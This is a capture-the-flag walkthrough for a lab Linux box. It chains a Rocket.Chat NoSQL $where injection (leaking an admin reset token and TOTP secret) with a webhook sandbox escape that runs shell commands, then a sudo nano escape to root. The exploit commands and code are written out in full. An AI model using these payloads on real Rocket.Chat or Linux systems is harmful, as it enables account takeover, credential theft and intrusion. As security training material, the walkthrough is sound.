Exception — HackSmarter (10.1.27.17)

Standalone Linux box; web + API abuse chain into Rocket.Chat.

#hacksmarter#hacksmarter#walkthrough#boxes#os:linux#tech:rce#tech:suid

Exception — HackSmarter (10.1.27.17)

Standalone Linux box; web + API abuse chain into Rocket.Chat.

Enumeration

🐺 howlsec@kalishell

$sudo nmap -sC -sV -p- $IP --open
$22/tcp   open  ssh   OpenSSH 9.6p1 Ubuntu
$80/tcp   open  http  Apache 2.4.58 (static "Exception" site with a JS-only chatbot - dead end)
$3000/tcp open  ppp?  Rocket.Chat

Rocket.Chat NoSQL injection -> admin takeover

The public token-brute exploit (exploit-db 50108) is unreliable; instead abuse the NoSQL $where injection (SonarSource research). Grab rc_token/rc_uid from browser Local Storage, trigger a password reset for the admin, then leak the reset token and TOTP secret:

🐺 howlsec@kalibash

$curl -G "http://$IP:3000/api/v1/users.list" -H "X-Auth-Token: <rc_token>" -H "X-User-Id: <rc_uid>" \
$  --data-urlencode 'query={"$where":"this.username==='localh0ste' && (() =>{ throw this.services.password.reset.token })()"}'
$# -> reset token
$curl -G "http://$IP:3000/api/v1/users.list" -H ... \
$  --data-urlencode 'query={"$where":"this.username==='localh0ste' && (() =>{ throw this.services.totp.secret })()"}'
$# -> TOTP secret
$oathtool "<TOTP_SECRET>"    # current 2FA code
$curl -X POST "http://$IP:3000/api/v1/method.callAnon/resetPassword" -H "Content-Type: application/json" \
$  -d '{"message":"{"msg":"method","id":"1","method":"resetPassword","params":["<reset_token>","Password123!",{"twoFactorCode":"<totp>","twoFactorMethod":"totp"}]}"}'

RCE via webhook integration -> Ron creds

Administration > Integrations > New Incoming Webhook, enable Script, and escape the Node vm sandbox:

🐺 howlsec@kalijavascript

01class Script {
02  process_incoming_request({ request }) {
03    const require = console.log.constructor('return process.mainModule.require')();
04    const rce = require('child_process').execSync('cat /Backup_db.txt').toString();
05    return { content: { text: rce } };
06  }
07}

Trigger the webhook with curl to read /Backup_db.txt, which leaks the Ron SSH credentials; ssh Ron@$IP.

Privesc: sudo check_log -> nano escape

🐺 howlsec@kalishell

$sudo -l    # (root) NOPASSWD: /opt/log_inspector/check_log --clean
$sudo /opt/log_inspector/check_log --clean
$# the script opens nano as root -> Ctrl+T (execute command) -> spawn a root shell, read /root/root.txt